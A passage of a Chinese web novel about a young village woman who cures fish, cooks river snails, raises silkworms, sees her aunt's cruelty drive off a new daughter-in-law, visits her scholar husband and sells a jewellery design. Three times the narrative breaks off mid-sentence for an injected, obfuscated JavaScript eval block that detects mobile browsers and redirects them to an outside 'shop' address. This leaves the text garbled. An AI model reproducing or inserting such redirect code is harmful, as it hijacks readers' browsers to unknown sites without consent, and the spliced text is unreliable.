三十条鱼忙到傍晚才全部腌制起，接下来就是处理河鲜，小河虾全部倒出来清洗，捡去杂物和石头树叶，用簸箕装上，晾干水分后端进灶房里。 “细柳姐，你来炸小河虾，我继续处理剩下的。” “这得费多少油啊？”小细柳有些心疼。 余晚桃把田螺倒进盆里加盐吐沙，闻言微抬起头:“不会浪费的，炸完之后的虾油拿来炒菜比花生油还香呢。” 小细柳洗洗手，去灶房里生火。 剩下的就是鲫鱼，黄鳝和大河蚌。 余晚桃把河蚌倒出来，她抓河蚌倒也不是为了吃，而是想要收集外面的河蚌壳，去除了里面的肉后，两片连在一起的壳内壁闪着彩色的光，晃动下炫彩夺目。 据她所知，要将河蚌壳做成手工艺品，就得先盐煮黄酒渍，配以大火炖煮一个时辰去除本身腥味，最后晒干，表面顺着蚌壳的纹路打磨至光滑后反复刷色漆。 也可以根据工艺的制作流程去切割，只取内壁炫彩的那面，做成各种饰品的辅材。 天已经暗了下来，余晚桃去屋里取了两盏煤油灯来，灶房里放一盏，院里放一盏，手脚麻利地把剩下的河蚌都处理干净，鲫鱼和黄鳝放水里暂活一夜。 她捞了几条黄鳝出来，去内脏后切段，再到菜地里拔一把嫩姜起来，洗了切丝。 正好小河虾炸好了，将虾油盛起来后就着油汪汪的锅底放姜丝和蒜瓣进去爆出香气，再倒入黄鳝段煸炒，沿边倒一圈米酒增香去腥，焖煮片刻即可装碗。 黄鳝段是天然河鲜，经过爆炒之后鲜香肉嫩，勾人口涎，一抿肉就散在了口腔里，细细的鱼骨轻松拆出。 两人就着粥吃了顿爆炒黄鳝段，把锅里热水烧上，才去院里打扫狼藉，将各种内脏鱼鳞通通装进潲水桶里，提着灯笼抬去村尾野塘扔了，至于河蚌肉则是切条后拿去桑园喂鸡。 忙完已是月上中天，身上，院里都飘着一股腥味，余晚桃在院里点了一把艾草慢慢熏着，去灶房里舀热水进屋洗澡。 一天下来筋疲力竭，余晚桃沾枕便睡过去。 天亮后去卖豆腐的阿婆家里买了两方豆腐回来，留着晚上做黄鳝炖豆腐，两人吃了朝食，把油炸过的小河虾、缸里盐渍过的鱼、还没晒干的茄条通通拿出来晒。 一眼望去满满当当的收获，余晚桃眼眸闪着细碎的光芒。 “桃子——！”，竹篱笆外传来一声喊。 余晚桃询声望过去，见是她表嫂苏仪儿，当即露出笑脸，走过去给人开门:“表嫂，这么早的，你怎过来了？” 苏仪儿情绪低落，垂着脑袋进了院。 28. 辣炒紫苏田螺 院里宽敞的地都让架子搭着，余晚桃干脆把人领进屋里，敞着门，让她坐，自己去给她泡了一杯桂花蜜茶。 苏仪儿喝了茶，这才道出过来的目的:“娘说昨儿见你抓了不少鲫鱼，让我过来拿一些，相公读书辛苦，要给他炖鲫鱼汤补补，我实在是不好意思过来，又拗不过她。” “这有甚不好意思的，昨儿确实抓了小半桶鲫鱼，等会走的时候给你串上就行了。” 余晚桃语气落落大方，见她拘谨，便宽慰道:“村里都这样，今儿我拿你些吃的，明儿你送我些用的，都是一个村的，没县里人那客气劲。” 苏仪儿怂着肩，嘴角下抿:“娘她……我也实话说，是真不好相与，每日起晚了会被说县里小姐就是懒，带个簪子被说性子招摇，同文祖脸红两句被说顶撞相公，去河边洗衣服那些婶子也不与我亲近，凑在一起时不时地偷看我，扭头回去又在嘀嘀咕咕的，像是背着我说坏话。” “你表哥就要回书院了，我都不知道以后如何过，村里连个说话的人都没有。” “这日子，似乎没有出嫁前幻想的那般好，月下成双，红袖添香。” 余晚桃是听明白了。 这是一直活在戏文里的文艺姐儿，乍一下被现实给打蔫了。 举目无亲的夫家，不好相与的婆母，指指点点的村里婶子，这种环境，对于村里姑娘来说是习以为常的。 可对于从小锦衣玉食，无忧无虑的苏仪儿来说，出嫁前和出嫁后的落差太大了，这才每日乱想，心中忧思苦闷，钻起牛角尖了。 “表嫂，我们是村里户，得知表哥定了县里秀才公家的小姐，那可是高兴得大摆宴席，逢人就炫耀。”，余晚桃特别加重了“秀才公”这三字。 她停顿片刻，弯起嘴角，拿手指敲了敲茶碗:“表嫂莫不是忘了，你可是有娘家作为倚仗的，怎还让自己过得这般憋屈。” “可……女子应当出嫁从夫，孝顺公婆，与邻友善，我母亲便是这般教我的。”，苏仪儿神色出现了一瞬间的迷茫。 余晚桃道:“舅舅舅母的家事，我是不应多言的，表嫂若是心有郁结，不如寻个时间去县里，问问你母亲，她是过来人，定比我懂得开解人。” “嗯，多谢你听我说这些闲言。”，苏仪儿站起身，真心实意地握着余晚桃的手，同她道谢，心里开怀许多。 “表嫂可不兴这样客气，我去拿草绳给你串几条鲫鱼啊。”，余晚桃出了屋，串了几条鲫鱼，黄鳝也拿了几条。 苏仪儿瞧着黄鳝跟蛇差不离，有些害怕地缩着手，不太敢拿。 余晚桃便拿小桶装了，让她回头再把小桶送过来。 送走苏仪儿后，余晚桃去灶房里烧热水，继续处理昨晚剩下的河鲜。 经过一晚上的吐沙田螺基本上已经吐干净了，接下来只需要用热水煮开口子，就可以把螺肉挑出来晒干了。 剩下的鲫鱼和黄鳝没法子晒干，只能养在盆里，尽量吃完。 将近晌午时日头最毒，余晚桃处理完所有河鲜，给院里打扫一遍，转头进蚕舍去观察蚕的生长情况，这批蚕生长速度要比上一批的快些，大概是蚕种买得好。 照这长势，再过两天就能蚕蜕，进入二龄阶段了。 余晚桃取了小筐来，将那些发育不良，和即将病变的蚕仔细挑出来，再捻了捻底下的蚕砂，确认没有拉稀，这才放心地出了蚕舍，背上大竹筐，锁了院门，带着捡出来的蚕去桑园里喂鸡。 桑园里小细柳还在摘下午份额的桑叶，余晚桃接替了她，让她先回去吃午饭。 小细柳已经摘出来两大筐桑叶了，她将脚边凑过来啄叶吃的鸡赶走，仰起汗津津的脸:“再摘两筐，就够晚上的量了。” 余晚桃将带来的蚕倒进竹槽里，一堆鸡便咯咯咯地跑了过来抢吃，她递给小细柳空了的小竹筐:“剩下的我来摘，等会回去记得给院里晒的东西翻翻面。” “行，那我先背一筐回去，晚点来换你。”，小细柳挎着小竹筐，背起一个装满桑叶的大竹筐出了桑园。 余晚桃戴好草帽，开始摘桑叶。 入了秋桑叶的质量就不如春夏两季的好了，变黄的叶子增多，叶质也老了些，眼下还能再摘，到十月底最后一批蚕出去了，就得进行冬伐，等春季重新发芽生长。 “桃子！” 同在桑园里摘叶的余贵一边喊，一边背着竹筐过来，面上有些忧愁:“我这两日给蚕除砂的时候发现有些稀，估摸着是拉稀了，我每天喂的都是新鲜干净不掺水珠的桑叶，蚕舍也注意清洁了，不知道咋的就拉稀了。” “你要有空就来帮叔看看？” 余晚桃抬袖轻擦额头的汗珠:“那我这两天有空就过去一趟。” 她从枝上拽了一张宽厚，表面粗糙长绒毛的桑叶下来，递到余贵面前，说:“叔你瞧，入了秋这桑叶基本都变老了，没春夏两季的嫩，我早上还特地检查了一遍蚕砂，估摸着有些蚕也要开始拉稀了。” “小蚕吃嫩桑叶才是最好的，如果其他方面都防护到位的话，蚕拉稀多半就跟桑叶质量有关了，蚕的肠胃适应不良，就会拉稀。” 要放现世，就可以喷些药给蚕调理肠胃，可这是大魏朝，没有那些科技产物，要给蚕调理肠胃，就有些受限制了。 余晚桃思索片刻，道:“先尽量摘嫩桑叶吧，晚桑同早两季不同，可以往上摘嫩的，因为等今年最后一批蚕出去，我是要全部伐掉，只保留根部，等明年春重新发芽培育的。” 余贵闻言便皱眉:“都伐啦？那冬天不得冻死，还能发芽不？” 余晚桃点头:“当然能，伐枝之后用干稻草包住砍截面来保暖就可以了。” “那我同村里其他人也说一下吧。”，余贵摇摇头，心里担忧着拉稀的蚕，转身赶着回去了。 余晚桃喊住他:“叔，明年开春我教你们培育桑苗，桑树生长期不长，到五月份第一批蚕种回来的时候也能开摘了，你通知一下其他人，各自找好要种桑的地，尽量别占用水田农地，能自己去山地开荒一片出来最好。” 余贵步子顿了顿，回头哎了一声，咧开嘴笑。 余晚桃继续摘桑叶，老的叶子就干脆扔到地上喂鸡，这些散养鸡就是长得快，到明年开春估计就会下蛋了。 桑叶摘了两筐，小细柳从家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720077|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来，两人来回两趟把桑叶背了回去，在蚕舍的空地里摊开散热。 “应该像余贵叔家里那样，建一个专门的贮桑间的，可惜位置窄了些。” 小细柳说:“我们院子左边是丁婶家，右边空着好大一片地呢，可以去找人问问，看愿不愿意卖地。” 余晚桃觉得不太可能，她家院里右边那块大空地是人家的老屋，虽然是推平了，木料泥砖甚些物件都拆走了，但村里人一般都挺看重老屋宅基地的，忌讳这些，要留着祖宗的根，轻易不会卖出去。 她们家想要扩建，只能往后边那一块公家地扩，公家地其实也够宽了，就是眼下还用着，没空出来。 去问了村长，村长也没给确切的回复。 余晚桃都已经打算好明年开春在桑园附近僻一片荒地出来盖蚕舍大棚了，离得近，又不用花银子买。 就是开荒累，需要人手多。 将蚕舍门掩上，余晚桃去灶房里取了镰刀，笑着同小细柳说:“院里我留了一盆田螺没处理，下午去喊秋嫂子和丁婶，带上她家柔妹过来，我们吃一顿爆炒田螺。” 小细柳哎了一声，高兴道:“那我去喊人。” 爆炒田螺关键就是辣椒和紫苏一定要给足，余晚桃去菜地里割了一大把紫苏，青红辣椒也摘了小篮，看边上韭菜长得很茂密，便也割了一些。 田螺经过一夜的吐沙已经很干净了，余晚桃去舀了半碗面粉出来，仔细刷洗田螺外壳，再用刀背把螺尖敲掉，方便入味。 刷洗好的田螺淘洗两遍就可以用簸箕把水份沥干，端到灶台备用。 接下来就是处理配菜，爆炒田螺讲究酸辣过瘾，所以酸豇豆必不可少，其实最搭的配菜是酸笋，不过她家没有，就只能退而求其次了。 酸豇豆切丝，紫苏叶摘去老梗不用切，直接手动将大片叶的扯小一些就行了，剩下的辣椒蒜沫要剁上一碗，加着盐和虾油拌一拌。 入秋后微风缕缕，不似夏季闷热。 余晚桃在灶台边忙活也不觉着热，她去后屋把柴抱回来，生火后热锅下油，料炒香再把处理干净的田螺倒进去。大火翻炒。 田螺个头都是大的，深弧的铁锅都占了一大锅，翻炒起来手腕费劲，她左右手交替着，等一股蒜香麻辣的味冲进鼻子里时，再加入紫苏。 紫苏的特殊香味一下子将整锅田螺的味都包裹住了，再加上还放了酸豇豆，光是闻着，便知道里头的田螺肉差不了。 “哎哟我这鼻子遭老罪了，一进院就被辣椒呛着。” “光是闻着我这口水就下来了。” 一阵闲聊的声音自院外传来。 门一推开，柔妹就迈着小短腿跑到灶房里，趴在灶台边，使劲嗅着鼻子:“桃子姐，这个田螺好香啊，跟我娘做的不一样。” 林小秋笑哈哈地走过来，拍拍柔妹脑袋，打趣她:“你娘那是水煮田螺，连个油星子都没，当然跟这大油重料爆炒出来的不一样啦。” “过日子哪能顾着口味来。”，丁婶嘴里如此说着，面上却十分高兴，自发地去把余晚桃家里的桌凳搬出来。 “辣炒紫苏田螺，出锅咯！” 29. 鲫鱼汤焖白菜 为了避免炒螺太辣肠胃，余晚桃将割回来的韭菜洗了切段，炒一海碗的韭菜鸡蛋出来，又拌了几碗黄瓜丝酸甜凉面。 院里晒着腊鱼，下午太阳也大，她们就将桌椅搬到了屋里。 门窗打开通风，田野间拂过阵阵凉意经窗而入，迎着风，嗦着酸辣鲜香的田螺肉，再吃一口凉面，舒爽不已。 林小秋是真佩服余晚桃的手艺:“这田螺肉让你整得小滋味真足，我田螺壳都嗦得干干净净，外头再沾点辣椒沫子紫苏叶，吸一口汤汁比猪肉还香。” “是不错。”，丁婶给柔妹挑了好几个大螺肉放在凉面上，怕她吃着太辣，手边还泡着一杯桂花茶。 “要是配点小米酿就好了。”，林小秋感叹。 余晚桃笑她:“你还想喝醉赖我家不成？” 林小秋瞪眼:“不行吗？反正你家二郎在书院里，分我一半床咋了？” 听到这话，小细柳忍不住笑了:“你要真住我们这，怕是你家男人得打着灯笼过来扛你回去咯。” “他啊现在整天琢磨蔬菜大棚的事，可懒得搭理我。” 余晚桃挑眉:“怎么？” 林小秋吃了一筷子韭菜炒鸡蛋，道:“我们之前琢磨过一阵子，也问了些老菜农，觉得大棚这法子可行，已经开始筹备木材了，每天忙得很。” 余晚桃道:“那很好啊，眼下入秋了，先将要种的菜籽撒上，等过两月天气冷了，直接给棚架上顶，白天有太阳时就把油布掀开让地里吸收阳光，晚间拉起油布保温。” “会不会被闷死啊？”，丁婶种了半辈子菜，实在没想过还能这么种的。 余晚桃把桌上堆满的空螺壳推到一起，起身将潲水桶提进来，桌上垃圾扫进去后，又将潲水桶搁到檐角去。 她洗了手才重新坐回去，拨了些韭菜鸡蛋掺进凉面里，“不会，又不是那种小木棚，只要空间够大，就闷不死。” “是这个理。” “这一顿辣炒田螺可给我吃爽了。” 满满一大盆田螺被扫荡一空，底下一点辣汁都被小细柳倒进凉面里伴着吃了，辣得她够呛。 柔妹更是辣得鼻尖红红的，挺着小肚子，咧着舌头抱着碗，喝茶解辣。 余晚桃有些担忧:“柔妹这吃多了吧，会不会撑着肠胃了？要不要吃些山楂糕消化一下。” 丁婶不以为意:“没事，这丫头身体壮实得很，平时每顿吃饭比这凉面多多了，有次偷偷喝她爹自己酿的酒被辣哭了，过了那劲还追着要喝呢。” 余晚桃轻笑:“柔妹这么厉害啊。” 柔妹有些脸红，埋怨了她娘一眼，替自己狡辩:“才没有偷偷喝呢，那是爹给我喝的。” “你爹可不背这口锅。”，丁婶忍不住笑。 “哼！” 丁婶懒得理她，起身帮忙收拾残余，瞧着院里晒着许多干货，她走过去看了看，很是欣慰地点点头。 都知道开始备过冬的干货了，日子应该是过得有规划的，余旺夫妇若是能看到，也能安息了。 吃过一顿刺激肠胃的辣菜，晚上余晚桃做了黄鳝炖豆腐和鲫鱼汤焖白菜，虽然清淡，但又是别有一番滋味。 晚上给蚕除完砂，余晚桃发现自家的蚕也有一些开始拉稀了，她检查了拉稀那片区域的蚕，发现状态不对后喊来了小细柳，两人一起将不对劲的蚕隔离出去。 余晚桃去舀了石灰粉过来在上面适量撒一圈，她双手撑在蚕座边沿，拧眉深思。 环境、温度、都没问题，桑叶也尽量切碎，喂的嫩叶子，还会是什么原因导致的呢？ 拉稀，脓病，分中肠型、血液型、外伤型，其中大部分都具有传染性，一旦有发病迹象就会迅速将附近的蚕感染。 眼下她这批拉稀的蚕，发病原因也不明确，隔离喂养是最保守，也是最好的措施。 心里记挂着事情，余晚桃晚上也睡不好，第二天早早起来去蚕舍查看隔离出来的病蚕，发现撒了石灰粉之后情况确实好一些了，提了一晚上的心脏可算稳稳落回胸腔里。 晒了两日，腊鱼还得继续拿出来晒，但小河虾、螺肉，和茄条是已经完全晒干了，余晚桃把这些干货分装进布袋里，扎好口后单独收进木柜。 看着太阳还不烈，就赶着去把菜地浇了，摘了两个茄子回来清炒，就着白粥解决了朝食。 余晚桃背起竹筐，锁了院门，往桑园里去。 经过庄稼地里时，见李氏带着苏仪儿在挖芋头，但两人似乎起了什么争执，其他地里好些人围了过去看热闹。 余晚桃走近后就听到了苏仪儿的哭声，以及李氏尖锐刻薄的的声音。 “你还能干点甚么？挖个芋头都能把自己弄伤了，像你这样笨手笨脚的以后还怎么伺候文祖，你在家里没人教过你干活不成？” “真不知道娶你回来干什么吃的。” 李氏的嘴向来毒辣刁钻，苏仪儿哪经历过这些，被训得捂着脸，抖着肩膀委屈地低声抽泣。 旁边有婶子看不下去，便怼了李氏:“当初娶人家县里的小姐回来可是欢天喜地的啊，怎么那会笑得嘴巴咧耳后根，进了门就贬得一文不值了。” “我管教儿媳妇跟你有甚关系，烂了嘴的东西该得穿肠捣肺，老黑货！” 那婶子瞅着李氏这嚣张气焰就不顺眼，也是不落下风地叉着腰骂回去:“谁的嘴能烂得过你李氏啊！村里谁不知道你那点破事，我可告诉你，人家娘家有秀才爹撑腰呢，仔细回头去娘家告状，有你好果子吃的。” 李氏有恃无恐:“嫁出去的姑娘就是泼出去的水，她现在是我陈家人，我教她干活，孝顺公婆伺候相公有什么错！像这样瘦条条的身板连个锄头都拿不动，要不是命好生在县里，看谁家愿意娶。” “婆母，你欺人太甚！”，苏仪儿红着眼眶，一把扔了锄头，半月来压抑着的情绪终于爆发了，哭着往家里跑。 “再不追，这儿媳妇可就没了咯。” 李氏梗着脖子:“官府文牒都上了，她就是死了也是我陈家的媳妇，能跑到哪去。”，说完便回地里挖芋头去了。 余晚桃摇摇头，继续往桑园里去。 李氏这嚣张气焰，说到底是苏仪儿单纯软弱的性子助长起来的，若是苏仪儿性子强硬些，懂得运用自己娘家的权势，李氏也不会这么有恃无恐地管教人。 从桑园回来，余晚桃把剩下的八合缘设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724575|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计图画完，准备明天去一趟县里。 她将画好的设计图卷起来，小心放进细长的竹筒里保存好，转身出屋去收腊鱼。 过了会小细柳回来了，气喘吁吁地说:“你表嫂娘家来人了，这会正往外搬东西呢！” 余晚桃一听，赶紧放下腊鱼，往陈家那边赶。 她到的时候，就见几个高壮的汉子正往外搬大红漆箱子。 这些箱子余晚桃在不久前的婚宴上见过，都是苏仪儿带过来的嫁妆。 先前趾高气昂的李氏这会声都不敢出，鹌鹑似地立在院里，不断扯陈老根的衣袖，想让他去把那些人搬走的嫁妆抢回来。 陈老根只低头，啪嗒啪嗒瞅抽着烟，没理她。 苏家派来的汉子里有个像是管家，他冷着脸对李氏道:“我们老爷说了，小姐自幼便被家里人如珠如宝地养着，是养得娇贵了些，既然亲家对此不满意，我们这朝便在县里买座宅子，让小姐和姑爷住着。” “这样既方便了姑爷读书，又能亲自管教女儿，以后可不劳烦亲家了，亲家若有甚么意见，便亲自过府去商议便是。” 苏家人来去匆匆，搬了东西，撂了话就离开了。 李氏整个人瘫坐在地，面对着被搬空的嫁妆屋，一下嚎哭出声，嘴里咒骂着苏家，心里又恐慌，怕儿子旬休回来会责怪自己。 陈家这点家丑早就人尽皆知了，陈老根由着婆娘哭闹，将看热闹的人都赶走。 “舅舅。”，余晚桃喊他。 陈老根见她也在，勉强撑起笑容:“桃子，你怎么过来了？” 余晚桃很担心，她把陈老根唤到外边没人的村道处，“舅舅，舅母这脾性，再闹下去家就要散了，表嫂那是甚么出身？那是秀才之女，又不是孤苦无依的姑娘，没人护着没人撑腰，可以由着她磋磨。” “现在表嫂被娘家人接走了，先不说村里人会怎么议论，这要是传到书院里去，表哥的读书名声也算是毁了，而且还有可能面临表嫂娘家人的打压警告，甚至报复，进而影响到他后边的科考前程。” 陈老根为难地摇头:“我有说她，让她收着些性子，只是她根本不听我的啊。” “舅舅，你永远都是这样，‘我有说她’、‘我这样做了’、‘我没有办法’，就像一个无辜的旁观者，你这样是没有人会责怪你，因为大家都知道你是不赞同舅母那些做法的，你认同他们。” 余晚桃语气平静，漆黑的眼眸注视着面前这个憨厚老实的男人，她缓缓道:“当初舅母那样苛待我，你一边谴责一边纵容，现在表嫂这个事上，你也是如此。” “但凡你为此做过一件事，试着用实际行动去改变现状，事情都不会走到今天这一步。” 陈老根整个人如遭雷击缓缓顿住，哑口无言。 …… 余晚桃捂着□□的胸口一路回了家。 或许是原身那几年的记忆尤历历在目，导致难受的情绪始终笼罩在心头，不得缓解。 同陈老根的那番话虽是冲动之言，却也不后悔，甚至觉得早该把这层假面撕开了。 陈老根说到底，就是李氏作恶的帮凶者。 伪善比真恶更可怕。 30. 椒盐板栗 陈家的事在村里传得沸沸扬扬的，谁不知道李氏生生把新进门的儿媳妇逼走了，一时间连路过陈家的狗都要吠两声。 除了表面维持的亲戚关系，余晚桃不想再和陈家有甚往来，连出门都会特意避开陈家院子。 次日起来，晾了两天的板栗终于被余晚桃记起了，她端着簸箕把板栗拿进灶房里，给每颗都划了十字刀，然后取来一罐粗盐，生火热锅，倒入粗盐，炒热后将板栗倒进去。 小火反复翻煸，直至板栗的口子全部打开，迸发出独属于板栗的清香气味，再用筛勺把板栗跟粗盐分开。 粗盐颗粒分明，不会沾到板栗的开口上，因此板栗不会太咸，而炒过的盐也可以重复利用，不会浪费。 余晚桃自己剥了一颗吃，口感粉糯咸香，还带着一股板栗肉自带的清甜，当是不错，要去找陈小绣，带些山货吃食去也能占个新奇。 既要去县里，余晚桃也打算顺道给在书院读书的崔玉棠也带一些吃食去。 她将炒好的板栗留了一部分在家里吃，另外的用两个布袋分别装好，又切了半块腊鱼下来煎香，拿茄子干做了一道茄子肉沫煲。 剩下的主食，便是做了肉沫菌菇小葱馅的大个水煎包。 都备好后一一装进食盒里。 余晚桃回屋换了一身细棉制的侧襟衫裙，上半身浅绿短褙子，间绿色长衫裙自腋下齐胸处以衣带束紧，尾端飘逸随意垂落。 这是时下县里寻常门户女子的装扮，只她常在村里干活，平时穿着短打，虽也喜好漂亮衣裳，买了一两件回来，却也没甚机会穿。 莫说是人靠衣装马靠鞍，换身衣裳确实瞧着精神些，她简单盘起发髻，取一同色系头巾自后向前扎紧，又沾了些唇脂增添气色。 瞧着时辰村里第二趟牛车也该回来了，她拍拍手将指腹残留的唇脂擦去，背着长竹筒出了屋子，拎上食盒和布袋往村口去。 一路晃晃悠悠到了县里。 余晚桃问了路，往青山书院去。 青山书院独享一长街，两侧书铺之多看得人眼花缭乱，长街尽头便是书院的大门。 巍峨门楼高高拱立，上书青山书院四字肃穆庄严，中间立着孔子石像，往前便是两侧门，一出一入，皆有着武服之人守着。 其外停着一些马车和小厮，估计是来接走读的书生。 余晚桃走近前，微福身见了礼:“我姓余，是大桑村学子崔玉棠的家里人，不知可能帮忙喊一下他？” “是哪位夫子的学生？在几班？” 余晚桃眨了眨眼，答不上来。 只道:“他是中秋后入学的。” “中秋后入学的应是崔夫子的学生，你且等等，我去帮你喊他出来。” 余晚桃心里悄悄松了口气。 等了片刻，余晚桃便见远处并肩走来的两人，皆着统一制式的圆领青纹学子服，戴着幞头，腰间束带，坠着一枚代表学子身份的玉牌。 “二郎，这里！”，余晚桃踮起脚朝那处招手。 崔玉棠快步走过去，面上露出笑容，眉眼漂亮至极，他伸手拂去余晚桃额上的薄汗:“等多久了？” 余晚桃偏头躲开他的手:“没多久，我来县里办事，顺道看看你。” 崔玉棠上扬的嘴角缓缓下抿，闷闷哦了一声。 余晚桃见状轻笑道:“好吧其实是专门来看你，顺道办事。”，她往上提了提手里的食盒，“给你带了些吃的，书院里怎么样？可还适应？” 崔玉棠点头，心里是高兴自己被惦记着的，他把那沉重的食盒接了过来，“我在书院里一切都好，再过两日便是旬休了。对了，我是崔夫子甲班的学生，你往后来，直接按着这个告知门卫即可。” “好，这个是我自己做的一些椒盐板栗，你拿去当个零嘴，再分一些给交好的同窗们。”，余晚桃一并将手里的布袋递给他。 “又带了甚么好东西？”，等夫妻二人说完小话，旁边的游子涧这才悠声开口:“弟妹啊，你可是不知，上次二郎带来的珍珠糕引得课室里一帮人争抢，直说下次有机会要到二郎家做客，见见是何等聪慧的娘子，能做出这般美味的珍珠糕。” 余晚桃爽快道:“若不嫌屋舍简陋，尽管来便是，不过可是要交伙食费的。” “好说好说。” 崔玉棠斜了游子涧一眼:“你怎还不回去？” “哟，二郎恼了。”，游子涧贱嗖嗖地拿折扇掩着嘴调侃，在崔玉棠抬脚踹人前飞快跑走了。 看他们相处，崔玉棠在书院里应是开朗了些，性子没以前闷。 余晚桃高兴道:“这都晌午了，你快些回去吃午饭吧，给你带了爱吃的腊鱼和水煎包，都是早上做的，应该还温热着。” 崔玉棠皱眉:“这才来了一会。” 余晚桃打趣他:“二郎怎么这般粘人了？” 崔玉棠垂眸，脸上莫名红晕。 “可不与你说了，我得走了，还要去找绣姐儿呢。”，余晚桃不是个情绪细腻的，行事都利落着，交代完话便走了，完全没有注意到崔玉棠依依不舍的眼神。 望着人都走远了，他才拎着食盒回寝舍。 …… 余晚桃去吃了碗加卤鸡腿的鲜肉馄饨，这才往陈府去。 许是上次来过陈府，门房那记了脸，又或者得了主家吩咐，这次余晚桃很顺利地被引进了女眷居住的西院。 可赶巧，刘夫人和陈夫人是手帕交，今儿就带着女儿刘云到陈府吃茶来了。 陈小绣同刘云正挤在一处说着小话，听丫鬟来传大桑村的余娘子来了，高兴得亲自去了垂花门外接人。 “可把你盼来了，这些日子总记挂着你说的那套八合缘的设计图，我都等不及想看看了。” 刘云上去攀着余晚桃的胳膊，亲亲热热地同人抱怨。 陈小绣皱着鼻子:“哪有像你这般恨嫁的。” 刘云绞着帕子打她一下，脸红道:“我哪里就恨嫁了。” “都盼着要看陪嫁饰品了，还不是恨嫁，不知羞。” 两姐妹儿拌着嘴，一人挎着余晚桃的一边胳膊，进了园子。 园子里绿意盎然，假山林立，中间一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728700|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座四角凉亭，茶香缭绕，隐约能听到说笑声。 近前一看，是两位盘着富贵髻，雍容典雅的妇人在交流鸳鸯荷包的针脚问题。 “陈夫人，刘夫人。”，余晚桃入了角亭里，弯着嘴角，微屈膝给人见礼。 陈夫人让身后的丫鬟去多搬一张椅子来，眉目温和地看着余晚桃，“瞧着是个伶俐的姑娘，难怪绣姐儿和云姐儿都喜欢你。” 余晚桃取下背后的竹筒拢在身前，声音诚挚:“绣姐儿和云姐儿性子良善，是极好的姑娘，不嫌我是乡里人家，愿与我相交至心，原还十分惶恐不解，今儿一见两位夫人，却是明白了，定是家中长辈教导得好。” 这马屁拍到陈夫人和刘夫人的心坎上，乐得拿帕子掩着嘴笑得开怀，待丫鬟搬了椅子来，亲切地拉着她的手坐到身边。 “这嘴呀可跟抹了蜜似的，我家绣姐儿要有你一半会说话便好咯。” 余晚桃面色微红，被夸得有些害羞，眼睫乱颤，让人瞧着有些拘谨和紧张。 “好了好了，不说这些了。”，刘夫人捻了一块榛子糕给余晚桃，拍拍她的手背:“别紧张，就当是在自家里，听云儿说你做绒花首饰的手艺很不错，她前几日还托绣姐儿追问那套八合缘的设计图纸呢。” “可亏云姐儿瞧得上我的手艺。”，余晚桃从细长竹筒里取出一卷图纸来，展开后递给刘夫人，谦虚道:“夫人同云姐儿先看看满意否，若不满意我再拿回去改改。” 八套件，便是有八张图纸。 刘夫人一张张端详过去，愈发惊叹于面前这位姑娘巧夺天工般的手艺来，如此惊艳繁复的首饰样式，到底是怎么想出来的。 “娘，我喜欢这套八合缘！”，刘云看第一眼便挪不开视线了，尤其是那顶华美的牡丹冠，和玉雪可爱的金童玉女像，她痴痴看着，对于成品的制作已迫不及待了。 刘夫人恼了女儿一眼不经事的脾性，却也点了头:“确实不错。” 余晚桃指着上面的标注说:“这边有所需材料的说明，用料精贵之处有特别备注，您备好材料之后我马上便能着手开始制作，不过因为家里农活多，所以没办法过府来赶制，只能将材料送到我家里来。” “我希望关于材料、重量、数量都能有明确的记录，这样您也能放心一些，等成品出来后若有对不上的我会负责，不过因为有一些金片银饰是需要打磨的，所以重量上会有些变化。” “这一单我只收设计和制作费二十两银子，完成后若不满意，可免费修改一次，刘夫人，您看还有甚么需要补充的？” 刘夫人定定看了设计图纸半响，笑容和善道:“余娘子想得这般周全，我也没甚补充的了，我信得过余娘子的人品，材料这两日便会备齐送去，娘子可要尽心制作才是。” “这是自然。” 余晚桃笑着吃了口茶。 ‘鸾凤和鸣八合缘’陪嫁饰品单，今儿便算达成合作了。 余晚桃目的达成，便告了辞回家去。 却不料家里来了客，远远听见谈话声，她推开院门，面色当即沉了下来。 31. 遭遇威胁 余晚桃神色微冷:“管事作何堵到我家里来，我可不记得与你们千丝坊熟到可以上门做客的地步。” 来人正是千丝坊的管事，除却当时断了合作的那次谈话，余晚桃便没再关注过千丝坊了，如今却贸然上门。 人是小细柳迎进来的，这会见余晚桃脸色不好，便知自己做错了事。 她有些惶恐地解释:“桃子，这位老爷说与你相识，有……有大买卖与你谈，所以我才将人引进来的。” “细柳姐，咱虽是村里人家，但也不是甚么人都能引进门的，以后若是有不认识的人上门来，只管拿扫帚打出去便是。” 管事听着这一搭一腔，面色已然有些难看:“余娘子说话何必如此尖声酸气，我这次来是受东家所托，同你做一笔生意的。” 余晚桃慢悠悠哦了一声:“管事有甚么生意是要同我做的？还特意上门来，真叫人受宠若惊。” 